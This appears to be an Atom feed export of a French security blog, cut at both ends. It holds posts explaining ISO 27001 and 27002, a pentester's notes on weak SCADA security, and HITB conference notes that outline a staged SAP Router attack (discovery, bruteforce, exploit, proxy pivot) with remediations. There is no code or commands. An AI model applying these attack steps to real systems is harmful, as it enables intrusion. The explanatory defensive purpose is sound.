la norme ISO 27002 sont déjà repris dans l'&lt;span style="font-weight: bold;"&gt;annexe A&lt;/span&gt; de la  première norme que nous avons étudiée. Cette annexe représente donc le  lien entre les deux normes.&lt;br /&gt;&lt;br /&gt;Ensuite, certaines clauses de la normes ISO 27001 &lt;span style="font-weight: bold;"&gt;correspondent &lt;/span&gt;aux thèmes de la norme ISO 27002. Pour être plus précis, prenons l'exemple suivant : la norme ISO 27001 demande d' "identifier rapidement les failles et les incidents de sécurité" (&lt;span style="font-style: italic;"&gt;clause 4.2.3.a).2)&lt;/span&gt;). L'implémenteur du SMSI pourra s'appuyer sur le thème n°13 de la norme ISO 27002 (ou le point A.13 de l'ISO 27001) qui traite justement de la gestion de la sécurité.&lt;br /&gt;&lt;br /&gt;En fait, cela va plus loin que ça. Rappelons que la norme ISO 27001 demande à ce que l'on crée une &lt;span style="font-weight: bold;"&gt;déclaration d'applicabilité&lt;/span&gt; (Dda ou SoA en anglais). Dans cette déclaration, l'implémenteur doit reprendre l'ensemble de l'annexe A et donc finalement l'ensemble des thèmes de la normes ISO 27002. Là, il doit dire quelles sont les mesures de sécurité qu'il souhaite mettre en place ou pas. Pour celles qu'il décide de ne pas considérer, il devra justifier une telle exclusion. La norme ISO 27002 apparaît alors comme quasiment indispensable pour aider l'implémenteur.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Exemple&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Pour bien comprendre, voici un extrait de l'annexe A de la norme ISO 27001 :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/TRxqxU1slSI/AAAAAAAAAls/hHOKp2MY6a4/s1600/AnnexeA.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 537px; height: 83px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/TRxqxU1slSI/AAAAAAAAAls/hHOKp2MY6a4/s400/AnnexeA.jpg" alt="" id="BLOGGER_PHOTO_ID_5556433435908412706" border="0" /&gt;&lt;/a&gt;On y trouve &lt;span style="font-weight: bold;"&gt;le thème, un objectif et les mesures associées&lt;/span&gt;. Dans la norme ISO 27002, nous retrouvons le même thème mais avec des précisions, ou plutôt &lt;span style="font-weight: bold;"&gt;des préconisation de mise en œuvre&lt;/span&gt;, pour appliquer les mesures de sécurité. De nouveau, en voici un extrait :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;5.1.1 Document de politique de sécurité de l'information&lt;br /&gt;&lt;br /&gt;Mesure : Il convient ... soit approuvé par la direction, puis publié et diffusé ...&lt;br /&gt;&lt;br /&gt;Préconisations de mise en œuvre : il convient ...&lt;br /&gt;a) une définition de la sécurité de l'information, les objectifs généraux recherchés et le domaine d'application retenu, ainsi que l'importance de la sécurité en tant que mécanisme nécessaire au partage de l'information ... ;&lt;br /&gt;b) ...&lt;/blockquote&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Conclusion&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Pour résumer, la norme ISO 27002 est d'une grande aide pour l'implémentation des mesures de sécurité - même si elle n'a aucun caractère obligatoire - à travers certaines clauses de la norme ISO 27001 et pour la déclaration d'applicabilité. Cependant, elle ne couvre pas tout, loin de là. Par exemple, l'implémentation globale du SMSI sera couverte par la norme ISO 27003 que nous verrons dans le prochain billet.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-4926269677168500198?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/4926269677168500198/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=4926269677168500198' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4926269677168500198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4926269677168500198'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/12/security-standard-episode-2-are-you.html' title='[SECURITY STANDARD] Episode 2: are you compliant to ... ISO 27002'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/TRxqnPXKQNI/AAAAAAAAAlk/4ZluQXx9PVE/s72-c/iso27002_2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-8837908034343487295</id><published>2010-12-28T01:37:00.001-08:00</published><updated>2011-01-05T10:44:57.236-08:00</updated><title type='text'>[SECURITY STANDARD] Episode 1: are you compliant to ... ISO 27001?</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Des normes internationales ont été rédigées concernant la sécurité des systèmes d'information. Elles sont de plus en plus utilisées et elles servent notamment de référentiel pour les entreprises. Leur étude nous apporte un nouveau point de vue sur la SSI qu'il est important de connaître. Il n'est pas toujours facile de prendre le temps de les lire et les étudier alors je vous propose un aperçu de chacune d'entre elles.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Ce qu'on va voir ...&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La norme centrale est la norme ISO 27001. C'est elle qui peut donner lieu à une certification et c'est d'ailleurs l'objet de notre premier épisode. Cependant, nous allons vite nous apercevoir qu'elle est liée à d'autres normes de la SSI que le schéma ci-dessous représente. D'où la nécessité des autres épisodes.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/TRnAPggWgZI/AAAAAAAAAlU/5Fc7UdRHtTI/s1600/normes.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 185px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/TRnAPggWgZI/AAAAAAAAAlU/5Fc7UdRHtTI/s400/normes.png" alt="" id="BLOGGER_PHOTO_ID_5555682987994415506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Ce qu'est la norme 27001 ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Tout d'abord, il s'agit d'&lt;span style="font-weight: bold;"&gt;une norme d'exigences&lt;/span&gt;. C'est à dire que pour obtenir la certification en question, il est nécessaire que l'entreprise réponde à ces exigences. Plus précisément, la norme est découpée en 8 chapitres ou "clauses". Seules les clauses 4 à 8 sont vraiment importantes et sont à tenir compte pour la &lt;span style="font-weight: bold;"&gt;mise en place d'un SMSI&lt;/span&gt; (ou &lt;span style="font-style: italic;"&gt;Système de Management de la Sécurité de l'Information&lt;/span&gt;) et obtenir la certification. Nous reviendrons sur ces clauses juste après.&lt;br /&gt;&lt;br /&gt;Avant, il nous faut tenir compte d'une notion essentielle pour le SMSI : la &lt;span style="font-weight: bold;"&gt;modèle PDCA&lt;/span&gt; (Plan / Do / Check / Act). Réussir l'implémentation de son SMSI revient à respecter ce modèle. scrupuleusement Il ne s'agira donc pas uniquement de mettre en place une gestion d'incidents par exemple mais aussi de documenter le sujet, écrire les procédure associées, en contrôler les résultats et l'efficacité et corriger les défauts relevés.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Le modèle PDCA ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;a href="http://3.bp.blogspot.com/_BhVyBIyY5_8/TRnAcmrNYaI/AAAAAAAAAlc/11MT0jxF0sI/s1600/PDCA.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 315px; height: 165px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/TRnAcmrNYaI/AAAAAAAAAlc/11MT0jxF0sI/s400/PDCA.png" alt="" id="BLOGGER_PHOTO_ID_5555683212988866978" border="0" /&gt;&lt;/a&gt;Il est donc important de se focaliser sur ce modèle considéré comme une roue vertueuse, utilisée en mode fractale, c'est à dire pour chaque action. La norme ne demande pas finalement d'avoir un niveau de sécurité élevé mais de faire fonctionner un SMSI en respectant les 4 phases du PDCA tel que :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Plan &lt;/span&gt;: définition de la politique du SMSI et du périmètre de celui-ci, appréciation du risque, traitement du risque, mesures de sécurité sélectionné (déclaration d'applicabilité ou dda).&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Do &lt;/span&gt;: plan de traitement des risques, déployer des mesures de sécurité, gérer le SMSI au quotidien, détection rapide aux incidents.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Check &lt;/span&gt;: audits internes, contrôles internes, revues.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Act &lt;/span&gt;: actions correctives, actions préventives, actions d'amélioration.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Les clauses de la norme ...&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Nous présentons ici les 5 clauses qu'il est important de connaître.  Vous remarquerez certainement un parallélisme avec le modèle présenté ci-dessus. Ce n'est pas un hasard.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Clause 4 : SMSI. Cette clause fournit des &lt;span style="font-weight: bold;"&gt;indications importantes &lt;/span&gt;pour la mise en place du SMSI. Notamment, les exigences regroupées dans les articles 4.21, 4.2.2, 4.2.3 et 4.2.4 correspondent respectivement au &lt;span style="font-style: italic;"&gt;Plan&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Do&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;Check&lt;/span&gt; et &lt;span style="font-style: italic;"&gt;Act&lt;/span&gt;. Malgré l'importance de cette clause, elle ne fait que 5 pages, nous devrons donc nous appuyer sur d'autres normes pour nous aider à obtenir un SMSI conforme à la norme (cf. premier schéma).&lt;/li&gt;&lt;li&gt;Clause 5 : cette clause souligne la nécessite de &lt;span style="font-weight: bold;"&gt;l'implication de la direction &lt;/span&gt;dans le projet de déploiement du SMSI. En effet, il n'est pas envisageable qu'un SMSI puisse fonctionner correctement sans l'approbation et l'appui de la direction.&lt;/li&gt;&lt;li&gt;Clause 6 : elle est relative aux &lt;span style="font-weight: bold;"&gt;audits internes&lt;/span&gt;. Il est demandé à ce que le SMSI soit contrôlé de manière régulière (&lt;span style="font-style: italic;"&gt;check&lt;/span&gt;) selon un programme d'audit précis. &lt;/li&gt;&lt;li&gt;Clause 7 : elle concerne la &lt;span style="font-weight: bold;"&gt;revue de direction&lt;/span&gt; du SMSI. A travers des comité de direction et de pilotage de la sécurité, le SMSI devra être revu régulièrement, notamment en s'appuyant sur les résultats des audits internes (clause précédente) mais pas seulement. Par exemple, les différents enregistrements et les indicateurs mis en place pourront servir aux décisions de la direction.&lt;/li&gt;&lt;li&gt;Clause 8 : Cette clause aborde l'&lt;span style="font-weight: bold;"&gt;amélioration du SMSI&lt;/span&gt; (&lt;span style="font-style: italic;"&gt;Act&lt;/span&gt;). Il s'agit de mettre en place les actions correctives et préventives relevées lors des actions de contrôles et approuvées afin d'améliorer le SMSI.&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Pour aller plus loin ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;En premier lieu, je vous proposerai dès que possible un aperçu des autres normes dans ce blog. Ensuite, la meilleure façon d'appréhender un SMSI est de se documenter ou de suivre une formation sur le sujet. En termes de littératures, LA référence est le &lt;a href="http://www.eyrolles.com/Informatique/Livre/management-de-la-securite-de-l-information-9782212126228"&gt;livre&lt;/a&gt; d'Alexandre Fernandez-Toro que je trouve très bien fait et que je recommande sans modération à qui veut en savoir plus.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-8837908034343487295?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/8837908034343487295/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=8837908034343487295' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8837908034343487295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/8837908034343487295'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/12/security-standard-episode-1-are-you.html' title='[SECURITY STANDARD] Episode 1: are you compliant to ... ISO 27001?'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_BhVyBIyY5_8/TRnAPggWgZI/AAAAAAAAAlU/5Fc7UdRHtTI/s72-c/normes.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1137207866049391831</id><published>2010-10-24T12:50:00.000-07:00</published><updated>2010-10-24T13:10:05.600-07:00</updated><title type='text'>[SCADA] SCADA Security ... or not</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;J'ai eu l'occasion dernièrement de travailler sur des environnements SCADA : ça change ! Mais en quoi ? Comment aborder ces bêtes là ? Quelles sont les failles les plus récurrentes ? Et déjà, est-ce que c'est sécurisé ? Petit point sur mes premiers retours d'expérience.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Ce qu'on en dit sur le Net&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;On trouve des articles sur le Net depuis quelques années maintenant mais plutôt sur des sites et blogs outre atlantiques et peu en France. Pourtant, il existe des acteurs majeurs dans notre pays.&lt;br /&gt;&lt;br /&gt;Ayant eu l'occasion de travailler sur le sujet, on se rend compte que le pentest d'un SCADA ne s'aborde pas de la même manière qu'une application WEB classique par exemple. Pourquoi ? Parce que dans le cas d'un SCADA, c'est la disponibilité qui est requis en premier lieu et non la confidentialité de nos chères applications bancaires ou commerciales.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Une fois que nous avons compris cela, nous comprenons mieux les failles trouvées car on souhaite avant tout que ça fonctionne et que ce soit performant d'où l'attaquant a toutes les chances de se retrouver face à :&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;des systèmes non patchés depuis des mois (... des années) ;&lt;/li&gt;&lt;li&gt;des accès sans mot de passe ; &lt;/li&gt;&lt;li&gt;des fichiers texte ou autre contenant les identifiants ;&lt;/li&gt;&lt;li&gt;des communications non chiffrées ;&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Bref, il semblerait que le pentest d'un SCADA consiste tout simplement à sortir sa panoplie du hacker de base, c'est à dire :&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;MBSA &lt;/span&gt;ou autre scanner ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;nmap &lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;wireshark &lt;/span&gt;;&lt;/li&gt;&lt;li&gt;le moteur de recherche du système d'exploitation ;&lt;/li&gt;&lt;li&gt;et arme ultime, la touche entrée une fois sur le champ "password" ;&lt;/li&gt;&lt;li&gt;etc.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Et ce qui se passe dans la vraie vie&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Bon, soyons honnête, je n'ai pas eu l'opportunité de faire 50.000 tests sur les environnements SCADA mais voilà ce que je peux dire de ce que j'ai pu voir. Avant, pour cadrer le sujet, il faut savoir que les applications étaient installées sur des serveurs Windows et qu'il faut donc ajouter à sa méthodologie celle d'un test d'une application lourde. Alors quand les attaques précédemment citées ne fonctionnent pas, nous ajoutons à notre panoplie des décompileurs et des debuggers (je m'arrêterais là, je ne suis pas un "pure reverser" ;)).&lt;br /&gt;&lt;br /&gt;Le premier pentest s'est passé comme on le racontait sur Internet : c'est à dire qu'il n'y avait pas de sécu. Enfin, j'exagère, il y avait un mot de passe. Mais il était teeeeeeeeeeeeellement compliqué, que j'ai eu besoin d'&lt;span style="font-weight: bold;"&gt;aide &lt;/span&gt;...&lt;br /&gt;&lt;br /&gt;... Alors j'ai regardé l'aide où il était écrit :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;The default user name is "guest". The default password is "0".&lt;/blockquote&gt;&lt;br /&gt;Alors si maintenant on nous donne la solution, qu'allons nous devenir ;)&lt;br /&gt;&lt;br /&gt;Bon, ça c'est fait. En même temps, vous allez me dire, ça ne concernait que le mot de passe d'un compte "invité" donc c'est pas très grave ... sauf que ! En fait, &lt;span style="font-weight: bold;"&gt;on avait octroyé les privilèges les plus forts&lt;/span&gt; à ce compte ...&lt;br /&gt;&lt;br /&gt;Autre point rencontré, un serveur où il manquait une soixantaine de patches Windows ... &lt;span style="font-weight: bold;"&gt;Quand on parle de virus et de vers, je confirme donc que les &lt;/span&gt;SCADAs&lt;span style="font-weight: bold;"&gt; sont eux aussi concernés !&lt;/span&gt; Et les dégâts, prometteurs :/&lt;br /&gt;&lt;br /&gt;Ce n'est cependant pas toujours si simple et j'ai effectivement rencontré un cas où les mots de passe étaient forts, les flux chiffrés et les mots de passe étaient sécurisés de manière sécurisée. Donc, la sécurité sur un SCADA, c'est envisageable ! Sauf que ... &lt;span style="font-weight: bold;"&gt;un &lt;/span&gt;décompileur&lt;span style="font-weight: bold;"&gt; (spécifique) était présent sur le serveur&lt;/span&gt; et il était donc possible de se créer un compte et de se donner les privilèges les plus élevés au passage ... BINGO !&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Des outils de tous les jours, pour des tests SCADAS&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Ce n'est pas forcément connu mais des outils que nous utilisons tous les jours prennent en compte les SCADAS. Et je ne peux que citer le célèbre &lt;span style="font-style: italic;"&gt;NESSUS &lt;/span&gt;qui propose une famille de plugins nommé SCADA avec à ce jour 42 plugins sur le sujet.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/TMSOGm8ampI/AAAAAAAAAlA/OQ_JRenxN_I/s1600/nessus.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 696px; height: 139px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/TMSOGm8ampI/AAAAAAAAAlA/OQ_JRenxN_I/s400/nessus.png" alt="" id="BLOGGER_PHOTO_ID_5531702486502120082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Metasploit &lt;/span&gt;propose lui aussi un exploit tout fait pour certains SCADAs.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/TMSPvptsCfI/AAAAAAAAAlI/vwCNzk36h1A/s1600/metasploit.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 221px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/TMSPvptsCfI/AAAAAAAAAlI/vwCNzk36h1A/s400/metasploit.png" alt="" id="BLOGGER_PHOTO_ID_5531704291131918834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bref, les moyens existent pour contrôler la sécurité (et inversement pour la contourner) d'un SCADA mais déjà que nous devons nous battre parfois pour expliquer les bienfaits de la sécurité, ici, on craint que le test en soit provoque déjà une perturbation et nous devons reconnaître que l'impact financier est ici direct. &lt;span style="font-weight: bold;"&gt;Mais que ce &lt;/span&gt;passera-t-il&lt;span style="font-weight: bold;"&gt; le jour où un réseau &lt;/span&gt;SCADA&lt;span style="font-weight: bold;"&gt; sera infecté ? Qu'un réseau &lt;/span&gt;SCADA&lt;span style="font-weight: bold;"&gt; sera pris pour cible&lt;/span&gt; (et même pas forcément par un attaquant aguerri !).&lt;br /&gt;&lt;br /&gt;Alors que nous parlons de guerre numérique et que &lt;span style="font-weight: bold;"&gt;les énergies &lt;/span&gt;(que contrôlent les SCADAs) représentent le point névralgique des guerres, le risque est bien réel et important. On voit déjà ce que peut provoquer une pénurie d'énergie tel que le pétrole pendant quelques jours ;)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1137207866049391831?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1137207866049391831/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1137207866049391831' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1137207866049391831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1137207866049391831'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2010/10/scada-scada-security-or-not.html' title='[SCADA] SCADA Security ... or not'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_BhVyBIyY5_8/TMSOGm8ampI/AAAAAAAAAlA/OQ_JRenxN_I/s72-c/nessus.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-7036283423494949021</id><published>2010-07-02T12:11:00.000-07:00</published><updated>2010-07-02T13:58:48.447-07:00</updated><title type='text'>[HITB COnference] Day 2</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;La première journée était riche en vulnérabilités et exploitations. Après avoir visité un peu Amsterdam (non non, je ne faisais pas partie du groupe parti pour la zone rouge) avec notamment la visite de la maison d'Anne Frank (tout de suite, c'est moins sexy ;). Je n'ai pas assisté au deuxième keynote mais voici la suite des conférences que j'ai suivi.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 1 - &lt;span style="font-style: italic;"&gt;SAProuter, An Internet Window to your SAP platform&lt;/span&gt;&lt;span style="font-style: italic;"&gt; - &lt;/span&gt;&lt;span&gt;Mariano&lt;/span&gt; Numez di Croce&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Fidèle à mon aventure sur SAP, voici la dernière conférence sur le sujet. Cette conférence se concentre sur le composant SAP Router et était très pratique puisqu'après une présentation de SAP, une démonstration de l'attaque par étape nous a été présentée. Pour ceux qui ne connaitrait pas bien SAP, je vous renvoie vers le résumé de la formation qui a eu lieu les deux premiers jours du HITB (&lt;a href="http://mission-security.blogspot.com/2010/06/hitb-conference-sap-hacking-overview-12.html"&gt;résumé 1&lt;/a&gt; et &lt;a href="http://mission-security.blogspot.com/2010/06/hitb-conference-sap-hacking-overview-22.html"&gt;résumé 2&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Il faut rappeler avant tout que le SAP Router a pour rôle de filtrer les requêtes (couches 3 et 4), de tracer les connexions, d'appliquer une sécurité sur les flux (avec une clé partagée) et de sécuriser les flux (avec SNC).&lt;br /&gt;&lt;br /&gt;Pour le filtrage des requêtes, une table permet de définir les flux autorisés, interdits et limités (ie, seuls les flux ayant pour protocole SAP sont autorisés). Première faille potentielle : les administrateurs, dans la vraie-vie, finissent souvent leur configuration par un "j'autorise tout". En effet, sur la base d'&lt;span style="font-weight: bold;"&gt;une liste blanche&lt;/span&gt;, les administrateurs n'ont pas toujours le courage d'entrer tous les accès et sachant qu'il faut que ça marche à tout prix ...&lt;br /&gt;&lt;br /&gt;La démonstration a été réalisée à l'aide de l'outil &lt;a href="http://www.onapsis.com/research.html#bizploit"&gt;BIZPLOIT &lt;/a&gt;(dont le speaker est le principal développeur). L'attaque se déroule en plusieurs étapes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;phase de découverte : on recherche le &lt;span style="font-weight: bold;"&gt;port utilisé&lt;/span&gt; par le SAP Router. Par défaut, le port TCP/3299 mais nous vérifions à l'aide du module "discover" ;&lt;/li&gt;&lt;li&gt;phase de découverte interne : le plugins saprouter spy nous permet de connaître les &lt;span style="font-weight: bold;"&gt;ports ouverts&lt;/span&gt; sur la machine comme si nous y étions ! Intéressant ;&lt;/li&gt;&lt;li&gt;l'attaque consiste a utilisé le SAP Router &lt;span style="font-weight: bold;"&gt;en tant que proxy&lt;/span&gt;. Nous trouverons cette fois des infos sur la solution SAP (ex : version) ;&lt;/li&gt;&lt;li&gt;Puis, on utilise le plugin de bruteforce pour trouver des &lt;span style="font-weight: bold;"&gt;comptes valides &lt;/span&gt;(e.g. mots de passe par défaut ou triviaux) ;&lt;/li&gt;&lt;li&gt;On utilisera l'exploit saprouterAgent pour &lt;span style="font-weight: bold;"&gt;obtenir une connexion &lt;/span&gt;sur le SAP Router ;&lt;/li&gt;&lt;li&gt;Enfin, c'est grâce à l'outil tsocks que notre trafic sera redirigé vers le proxy mis en place et que nous pourrons &lt;span style="font-weight: bold;"&gt;attaquer le système SAP comme de l'intérieur&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Une démonstration convaincante qui montrer les risques d'une mauvaise sécurisation de sa plateforme SAP. Les solutions de correction existent cependant : &lt;ul&gt;&lt;li&gt;l'application des patches (pas toujours évidente malheureusement) ;&lt;/li&gt;&lt;li&gt;l'application de la sécurité sur les connexions (nombre de connexion maximum, chiffrement, etc.) ;&lt;/li&gt;&lt;li&gt;la politique de mot de passe pour les clients ; &lt;/li&gt;&lt;li&gt;la généralisation des messages erreurs pour éviter l'affichage d'information technique.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conf 2 - Firefox 4 and Opportunities for security research &lt;span style="font-style: italic;"&gt;- &lt;/span&gt;&lt;span&gt;Chris HOFMANN&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Je ne m'étendrais pas sur cette conf qui n'avait pas tout l'intérêt attendu. L'idée est de lancer un "&lt;span style="font-style: italic;"&gt;Bug Bounty Program&lt;/span&gt;". plus précisément, il s'agit de récompenser les personnes qui découvrent des bugs sur la prochaine version de Firefox (Firefox 4 donc). Cela existe déjà en réalité mais l'accent est mis sur le sujet pour motiver les chercheurs potentiels en leur octroyant une prime plus importante (3.000$). Cependant, le bug doit remplir plusieurs conditions comme conduire à un exploit distant. Problème : les marchés noirs offriront toujours plus. Néanmoins, souhaiteriez vous fournir des armes à des black hats, même pour de l'argent ?&lt;br /&gt;&lt;br /&gt;Finalement, Mozilla estime que s'il ne paye pas pour la recherche des bugs maintenant, ils paieront plus cher d'une manière ou une autre la découverte des bugs. Ceci est vrai pour tout logiciel mais rarement considéré ... Dans le même temps, Mozilla a pour objectif d'assurer la sécurité de ses utilisateurs. De plus, la fondation en question veut se donner les moyens de faire face aux bugs :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;en assumant les bugs potentiels ; &lt;/li&gt;&lt;li&gt;en motivant les 